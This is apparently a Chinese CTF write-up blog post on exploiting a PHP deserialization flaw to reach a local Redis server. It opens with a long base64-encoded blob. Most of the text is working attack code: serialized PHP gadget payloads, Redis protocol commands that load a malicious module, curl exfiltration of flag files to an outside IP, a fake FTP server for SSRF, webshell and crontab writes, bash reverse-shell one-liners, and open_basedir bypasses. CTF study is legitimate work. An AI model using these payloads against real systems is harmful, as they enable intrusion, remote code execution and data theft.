VceCTliUXpj2Gk4m7vCUJTUawwmgmCZLfnh0aAxDncrSX4ElStx+KUm+VEkm7T3BgU9qaGJihnD9Nr64NtKC0ZEjbL1rUb5+yB/W78CsuGL+XlobbYrvoPLPjbb27uA2Hc6ZGt7l1zi+j9b64N4WYOMR55BqYR/4kDAMkpWElD8GZaOVRIwy1dZ2qxYZmNMG9vho5h7LpTS9p6P5B6LTLZvodnaPkXQ1giCts/w0vJ4DMp8Nb4XyExB8gmtxO8j/SQWxBR3MdK/ng3XUXEbUcu3yG5REnDUn9WLG5SxHEDTRVibYihjddfvga9fRaABGLBVmrbV9D+NUXYumk9Si/v/NY4Jm7YtUjKuAp+YMsmdM1fTwcK7q7sW9ma6MlGXedvu1ZqyzPkk2bRa00bEzdt2rR7wMNXxLbUn8yaoNNOglwi+b/VAd71iGvw4yTsv807MOktLFWV+BJ4wDdE07Vk90K+YztMSj0PCqZiG4dwz07biQWdQLFv71qAoGR0ol4BJMS67umttH1aABK0AO2kBErQCbKUFSNByum71gLFUx3A1tABJWgGaVme+hi0/WUvuXj2woq5SMdkeZ8WrguKlYKZQvIHlwSrFlMqKtwS+rmgpUjyfK6CYei8idVI8uNSGr6uwdkf3oeOZMmAXNWUh9eXgChJ/GFVcjlx4IbCynbqyOhVqHPiJseB71iE98Em2hLwOZC+fNyYxh52HzgJUazplQ2clE2bUAXaet9zlY7KmbTOH3tlF6UwWDZuBA+g88goSmh15QBuYlBpvTuqZ1EVNibV1w6aixMdPABK4IV0xJ10YPy5+GjzERVE6aIhOVvBVTgyeEIodpODJkqqak+LjUUDFp75ELo3f8aw0Ga0l45lu6N2qOi0VJRL7gZ4RQElKBfAiGFKTx3Chid2RYBvDlWqELni7T+mqDu6u6UiNJrakIQXTXXGmRXqolAluAt3IjS9UOVK7d1VQDQyqUVCSCfFYOlaanlnA3Ats60UuoEX3Jhcw+vbppnaWum9iiM8ystWJ3bUkKkYX59lvmkQM6xetmC0aI+bdP5rLYXJAvIrc0LrHhNEHjgmTGtSZwbRUdMfg8BwvIllliURoY9mqVvYwuxTlPGpVtKZ/aDR3ESaHjQlLKl2x0Sl/wGc39UxSIn5rxU6J6exsZUTQ7xvh9lTUBitdIxpyxzrGjhle6/YEG4ZXe4Ijyt0Bv8ZS6y4fUV1RoWe5gEn/AlUjAivqXf4wxnApjyuAgegUxYfTeOvINN7sGrTV1VCfXYGdi6gAGvRBf6Cy0lUF12Zy7fYEhsPh4SASgp0UKILbq11OmTazEK6iNDYkQhPxr/A7XD5frdsf0LiCHris1MBqV8BbH3DgohSq313tcdZSSW/FUoydRxESOk+7dmPe0A4vKg+6a9E8ssGZxuHAomhs0BFNbBQxv2lSLQv+9K7l6f8f/5kzLPvhe7Ea8xn8NVmqYoKWbQuiTOadV2VbLjratMY0MM1S8803I0yZqZZ3Z1qGWG42DU+1bHtmgaXJkn20yTQwFf63V1vGW9Is1ZYFR49+blm4wLLQMsLUP7XJlJcWxGOByQTd4Jzrjn7JPP7IC9AK4Dbgd690OQKK3+mocta5paGgxTVeEcJd/4LA4LLFkhFXZ8gXZzmmzXGMcox0QBeAXuEwWifnd3tYwfCShJA0XC2BOv3O5S4SEtLtGYvcjlqvt77cWbFUZzBbyVQyp2CGY27+JYoDuyh0POyiEZZqYS5X+NwBl6PciQEwa6G7KSNqvHUwwOSU51SuGFERqBpxBf4h48yIEFX+kskzRrganLg6t9Ncoifiek/5gi1HRY3T7VG8wUB9MMxiXPmEy1CmBD0VwBX0wchSG6zzkEHIA/5WHA4cunIdYWL6FTliRbMl077Kcii3s1Lersj6XgfUwnK3zxu+BFK+3Eiy/pfUyuSCguJzL9+NEOj+HAvBDIL+stWLWEF1Tt9SeJ6aOrs0o+A3v9EmFmYMrwsEPa7x1S7wpbsCkk5fRc14uCkNHzsmY3h1xnBo1ePhtgQCw6uKpxXAXxIldXi9zxtwVQS8PuDw6aLmR4yajoWATlHqd1bTegXr8E6jVJJVSnKHhi0EJz4tKby4OL9gRuG8MIGQBelBugAuA1qXvrOJq4oK6iqJNfpRS7piXr+8XrZOWr7UlC1LYgV31NcGxfVesqU+hsv99OsIHY6Qm6e8cvQrrn/BbgfyhbmyFV2ydeeG69sMVqCFr4lHd+EYBX1d6/Ujxzoki9OwXtmThsPtEZveXBcZ80hd40hc7w1f3gWDPmaEy54c9dByOyMKn3MZXPjSc9Ds1x6vzrk0jMYjDnmyCh8stOjBaO1Kl88rNkSjxfZGi3fpUBBeA+Gr7dk9x+kR7sMuSSiCCOuhhbXF8HTorHdXgevrhZ0U2IJfemuU1KuwXA++CjtqhWXp8rXkxovpwpf4wXOrG2pZa1pjxzh0N6KIfaXTdyEPBFAaxVGFS4lHdTYqcpOsc9U5gjgCnmu5sCPoCfpdlaN+4bpT6dJYvjbS6asWN9sJD0jh8NZWOrxVVVB1yLxcdAG565Gewx7TdDUlLkPV/Dl6lNZrx5LqzVVqAcogf9weoxH/X9izpVKySjg0eEHno44rvCMbx+kID1lQRZyKTwv4oGO0pBqzKQ9W6Z+DZKvQWQsMY+xcZe5w1DsrR2qnUdpptHYao53Oh+c8/NHnl607nkYvpFFc+EpfcmOdPWf2pJlw8QtWIGuNG0YUL3xFrfODp1wO3RAetqQeRhb9w2/E+DMRV5uz8AraE8G8uYX5s2Q3FtlWFgaLzs8VmsAgVsY0j1tXcNx8SvtCrnv8CdR4hVugLFSD9uw4da5QqPC4CjBuwX+xZRm4kHzNCul9/BnpHN1Q4vqIUVgkC5wdOLA49LloEUNgQCER8aEo+FjPbuDKcrhRuYVn79DwNaTLwRNpsJ5+i/HXwA0d+0XIOAxfLBw627GPecj3IDRMHPANwnkYBVbQugcfAFzkRoJtPahVYsHMOYVlhQWKB7pfmEIWoIBwSZ5nSbAn7bulQopGasqxPOCEhsuGatFCSSgHozXzsrFCHmclws5Uhpts6UItsABDdEMG9JF2r9W+vE6e1Xmf1Ebq8D0YhEGDPlvjI5wDnrW0gYXfZUaOldtvECEhZBG8o8oN1nlDdnvQuycsKAS0WrhdSh875D2XxA2oEgN58WX7Wk2HdU6tGesemrBO4ZkKfyrvvMmJT1fyQBrkOQMfGMSvPZGjRZwrtpYQecfprYL6JHbp22nYvYTV2+hRhkOJGDAHi6BZqytESBwS+pQvdHB9MBddVKtzfsyKytdjhtNNfF1mON3M12OG06P4us1werR0faRZieHrKsPpsXw9ZjjdojQOltHj+GuZcLpV2XmhjB6vlE2V0ROk6yvNuHNEsYyu329Xo8t2jkC6zYDexYAuXxlpJrt+y+hpOhpWa5TydYdI1/YFidO9zlIM+O1El94/ZG6HxD/4ck22X/MlinwfYY8i36d1jSLfh/0mSt8j0B9T5Ptftyjy/YW/onRxv3uLKt9Xuo8q3593nCrfV91J6eK+8FdQ+kmBvlWV79P6qCrfd/VlSrcIdFwbKdt3+5Qq37c3xiTfL7gnpWcI9GGUniXQp5jk+xovNsn3m15F6XkC/fcm+b60fzLJ991+1STfz/2wSb7/9ecm+T7dUWb5/sh2s3z/97Fm+T7UMyi9UaDjzi+yXn0V2zdZ4N9ulu+TvpfSd4rtwUD/UbN83/YfKH23QE+MkuvJMKCPipLv2z4rSr4/dQWlNwv09VHy/cd3U3qLQH8mSr7Pb0uUfB/wEwb2m+m+w+0Cf3+D/Yh/Ey3fx3k+pbPJtIxeFy3fb3pTtHx/8zso3S7Qn6b0DIHeEi3fp/tTyp8l8P9A6TkCPSVGvo/2ILbvvECfECP358UGdBfbb1rQc7UB/07KXyzw38/2fRboByh9sUA/Quk1Av1kjHzf6pRY+X7loyi9UaAXxcr3PWf7lYv7tq+g9J0C/QZKbxLobF/73QId19pL+7vBvttn2X7xAr2LRWs/4oSmfjiBDP1DJ+SxzyCLfP/xfEo/JNDLKL1FoC+n9FaBfqNFvi/8/RZ5eQ9QO8Xx/68W+T7jn1H6SYFupvuSnxboWZTOVpgw+nRKtwj0hZRuE+h1lG4X6NfFyfd/vytOvl/5gTi5H96k/DkC/0lKzxXoMXR/8zyBPpDSiwT6BKt8X/sSSi8T6Eus8n3bV1F6jUDfQen1Av0hq7y8zZS/QeBvo/RGgf4DpW8Q6LjKUqb/PLrv/FaBP5/Sdwr0UkpvEuhLKX23QL86Xr7v/B8ofZ9A30vpzQL9LUo/JNBPGZQrNoH2R4G/V4J8v/uRlN4mlpfS2wV6PaWfFOjrKf20WF5KZ2tbGP1xSrcI9Jcp3SbQ2yndLtA7KD1DoHdNpP1LoI+k9ByBXkTpuQL9ckrPE+gNlF4k0LdRerFAv5/SywT6XxPl9fgR5V8s8P9A6TUCXf9Trvajr2Pygtn5s6YVKI6pM+dMyp/pmDNlSknhPMe8/EkzCx3/2k8n8p+kpeE1JW+gI85eibjha8S3AxHeGMvfN0X8xf6XhcaWh5I2fAF+7jjABm+YJW8W5S98ZYFkpVE2ddH5jd/JGIcqjxwzO8I7X1ngZMl0DLr9rOQn8cgv8871i3Lk31ilb4917360n4bz8kI3wDX4YU/+wsJoywD2rkjc6bczqzGybifkormJ7P4bbiPu/WtsdYQXUZEiS0ecjHHudzSymNnSiRn6F8/atsjGBZK83v8FkwIibhxg8OoiYuhogxjRxiHWpXsc0BkWekvFKYeGM1hkE7pC31ORvabDvantE23sYf2rU/o2wlhE34ykcZGN95ow2M/j3NMpzxXx+BzvlCRVKA0/bTSh6lzhsWVvV7W9wSP7XxYlvnOiV/jLKXFuQaQ9CAwm7P2CNy8GUyNC3+XRbc7DSxa61Xi40ogxzA1jnxvOxTBwu8GEYfENIX1tbpSTZPMKoynHwvtKsh+8cWVHDvktn/bWOWpKJ2Uablgv3ZPAYE8NNlcwjOaSzXMKn6yIu9VHHrwjTXIwjN2ue+mvTV0zzslgCwHZvhryiVrG+3LIt5Yw3jbmHEHXw2qT3CFhlPfAIBnhpi6bQy4NWf9LNtKIMJ3dOPS7bhKi4dYP0hfS59iwKMJ2EfrH/kjzlw1mzUTYM0W6o4jhRAPDrWqkKxa0ubHG9Wq8wROZ0K5k+1fUBZzlcA74tHMNu6r2BLNr4KlLya5c4QE27QyP3ARhs1lCEw7AfK5aZ3Z9bUDJxts9pL3k+TzbVeOo8uGUEdTirHNXgKQ3oHHCcK5kV0B3x3aUXekqD1Y7nD4sn58l3Z4qL4fKy7Gr0BQMZy52jdb9Gz59FS0GsYmm2XtxdiYrppXOOMP8vRE94wLV7zs6vEyevT9n514G8uyDr8PjQ/Jn79nZeU9iZ35qiLydnodT3UyevY9nZxY3mX3E1/7nK1qMYybP3tuzc6Yabr9JOOPyyZ9D5Nn7fXbOUeT2s8/FFJtE02weADvXhOSfqOjLP5/qZXGj2XwBPm9AKLBNOF8qymeFn8VgxaL/nJTGys/mH7DzgYRwfrH8bkGezVNg5xcFflHeT21n9cPe1zfN1tKLqcGsvTJ5Gz1fRfNn8vy9frF22mqQPzuvo9dMnv0ev5XKt3HFcvs30fxzBDqTHyrQVeG8XdHXCX6epvKiXpH3TgP5L6j8d33C6SLvQwbybV7tPNEUThd5nzGQ70tHt+6C/0TeQ4rcf7lB7XzGoP2GngUTNfkN2tli084YeaSHou9/OEwJJpJP3k7tbE0Kp4v2dzGQn36Pdj4s0EX5/wU=');

加载.so文件

redis-cli

没法执行bash命令,此方法不可用

php-redis

上文主从复制部分,已经使用过php-redis操作redis了,但是php-redis找不到module load的函数,恐怕没法加载.so文件. 或者其实是可以的只是我不知道而已?

gopher

使用redis-ssrf能够生成一键主从复制到命令执行的gopher payload,但是这里用的file_get_contents一般情况下是不会开启gopher协议的。而且file_get_contents的gopher不支持urlencode?

dict

参考SSRF漏洞用到的其他协议(dict协议,file协议) – My_Dreams – 博客园 (cnblogs.com)

但是file_get_contents同样默认不开启dict

stream_socket_client

通过抓取蚁剑的redis插件流量发现了这个方法

$cmd="*2\r\n$4\r\nauth\r\n$19\r\nyou_cannot_guess_it\r\n*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$11\r\n/tmp/exp.so\r\n*2\r\n$11\r\nsystem.exec\r\n$55\r\ncurl\${IFS}http://106.15.249.250:8088/\$(cat\${IFS}/flag*)\r\n*2\r\n$11\r\nsystem.exec\r\n$6\r\nwhoami\r\n";
$fp=stream_socket_client("tcp://127.0.0.1:6379",$errno,$errstr,30);
fwrite($fp,$cmd);
$c= fread($fp, 1024);
fclose($fp);
echo base64_encode($c);

终于调通了,注意在php字符串里$要加\转义,或者用base64编码后解码可以少很多麻烦

O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:397:"$cmd="*2\r\n$4\r\nauth\r\n$19\r\nyou_cannot_guess_it\r\n*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$11\r\n/tmp/exp.so\r\n*2\r\n$11\r\nsystem.exec\r\n$55\r\ncurl\${IFS}http://106.15.249.250:8088/\$(cat\${IFS}/flag*)\r\n*2\r\n$11\r\nsystem.exec\r\n$6\r\nwhoami\r\n";$fp=stream_socket_client("tcp://127.0.0.1:6379",$errno,$errstr,30);fwrite($fp,$cmd);$c= fread($fp, 1024);fclose($fp);echo base64_encode($c);";s:5:"code2";s:4:"sdas";}}
ftp被动模式

官方wp是这种方法,还真是紧跟时代潮流啊

伪造ftp服务器

import socket  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.bind(('0.0.0.0', 9000))  
s.listen(1)  
conn, addr = s.accept()  

conn.send(b'200 ok\n')  
print(conn.recv(20))  
conn.send(b'200 ok\n')  
print(conn.recv(20))  
conn.send(b'200 ok\n')  
print(conn.recv(20))  
conn.send(b'500 nope\n')  
print(conn.recv(20))  
conn.send(b'500 nope\n')  
print(conn.recv(20))  
conn.send(b'227 goto (127,0,0,1,0,6379)\n')  
print(conn.recv(20))  
conn.send(b'150 go\n')  

conn.close() 

payload

O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:19:"eval($_REQUEST[1]);";};}&1=file_put_contents('ftp://106.14.179.48:9000/',$content);

$content内容可借用redis-ssrf生成,其实就是gopher后面那段url编码了的redis报文

这里使用goperus生成的写入webshell的payload带入$content,成功写入了shell.php,加载.so文件同理。

$content='%2A2%0D%0A%244%0D%0Aauth%0D%0A%2419%0D%0Ayou_cannot_guess_it%0D%0A%2A2%0D%0A%244%0D%0Aauth%0D%0A%2419%0D%0Ayou_cannot_guess_it%0D%0A%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A'

vscode php intelephense找不到类型Redis

找到一个csdn博客说设置里Intelephense:include path添加对应的路径,但是并没有用。最后还是stakeoverflow解决了我的疑问:php – Undefined type ‘Imagick’ in VSCode’s intelephense – Stack Overflow,在Intelephense:stubs添加redis后问题解决。

php-redis安装使用
sudo apt install php-redis

去百度php-redis怎么用,都找不到啥有用的信息,找到的博客大多是复制粘贴的一些数据操作的用法。。。菜鸟教程也是,php-redis就一页,啥都没讲,真的是恶心坏我了。建议看redis 命令手册,然后在vscode里看代码提示。。。

命令手册的索引页没有module load,其实是有的:Redis MODULE LOAD 命令,但是php-redis貌似没有实现这个api

绕过open_basedir

讲的很全面,但比较粗浅:浅谈几种Bypass open_basedir的方法 [ Mi1k7ea ]

ini_set+chdir

仅限php<7.4.21,本题不可用

(4条消息) 从open_basedir认识ini_set_adminuil的博客-CSDN博客

payload:

mkdir('/tmp/111');chdir('/tmp/111');ini_set('open_basedir','..');chdir('..');chdir('..');ini_set('open_basedir','/');

symlink

本题symlink被禁用,不可用

<?php
mkdir("/tmp/A");
chdir("/tmp/A");
mkdir("B");
chdir("B");
chdir("..");
chdir("..");
symlink("A/B","7ea");
symlink("7ea/../../etc/passwd","exp");
unlink("7ea");
mkdir("7ea");
?>

**glob:///***

经测试php<=7.2.34,7.3.29,7.4.20可用,php>=7.4.21,7.3.30不可用,本题不可用

  1. DirectoryIterator
foreach(new DirectoryIterator("glob:///*") as $f){echo($f."\n");}
  1. opendir+readdir
$b=opendir("glob:///va*/*");while($file=readdir($b)){echo $file."\n";}
  1. scandir
print_r(scandir("glob:///et*/*"));

bindtextdomain/SplFileInfo::getRealPath

realpath()+windows通配符 ‘<><‘

php-redis写webshell

构造了一个利用php-redis写webshell的payload

O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:238:"$redis=new Redis();$redis->connect("localhost");$redis->auth("you_cannot_guess_it");$redis->config("set","dir","/var/www/html");$redis->config("set","dbfilename","11/shell.php");$redis->set("1","<?php eval(\$_POST[1]);?>");$redis->save();";s:5:"code2";s:4:"sdas";}}
php-redis写crontab
$redis=new Redis();
$redis->connect("localhost");
$redis->auth("you_cannot_guess_it");
$redis->config("SET","dir","/var/spool/cron/crontabs");
$redis->config("SET","dbfilename","root");
$redis->set("-.-","\n\n\n* * * * * bash -i >& /dev/tcp/106.15.249.250/8088 0>&1\n\n\n");
$redis->save();

注意&要urlencode

可以看到确实写进去了,但是不知道为啥没作用,明明curl都能外带数据

懂了,原来是cron服务没开

蚁剑连接redis
  1. 插件市场安装

  2. 启动插件

  3. 添加配置并双击连接

  4. 右键一个数据库启动redis终端

生成redis报文

抄官方wp的

<?php  
function command($cmd){  
    if (is_array($cmd)) {  
        $ret = "";  
        foreach($cmd as $c){  
            $ret.=command($c);  
        }  
    }else{  
        $ret = "";  
        $cmd_arr = explode(" ",$cmd);  
        $cont = count($cmd_arr);  
        $ret.= "*$cont\r\n";  
        foreach($cmd_arr as $v){  
            $ret.="$".strlen($v)."\r\n";  
            $ret.=$v."\r\n";  
        }  
    }  
    return $ret;  
}  

$send = command(["auth you_cannot_guess_it","module load /tmp/exp.so",'system.exec /bin/bash${IFS}-c${IFS}whoami${IFS}>/tmp/whoami.txt']);  
echo urlencode($send);  
bash反弹shell

一般这个就能用

bash -i >& /dev/tcp/106.15.249.250/8088 0>&1

但是如果不是在shell里跑的,比如我们加载的redis模块里,可能需要这么做

echo 'bash -i >& /dev/tcp/106.15.249.250/8088 0>&1'|bash

bash -c 'bash -i >& /dev/tcp/106.15.249.250/8088 0>&1'

其他

Bug #81122 SSRF bypass in FILTER_VALIDATE_URL

php<7.3.29,8.0.8,7.4.20

filter_var("[https://example.com:\@test.com/"](https://example.com/@test.com/%22), FILTER_VALIDATE_URL)

不说点什么喵?

2 × 2 =

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据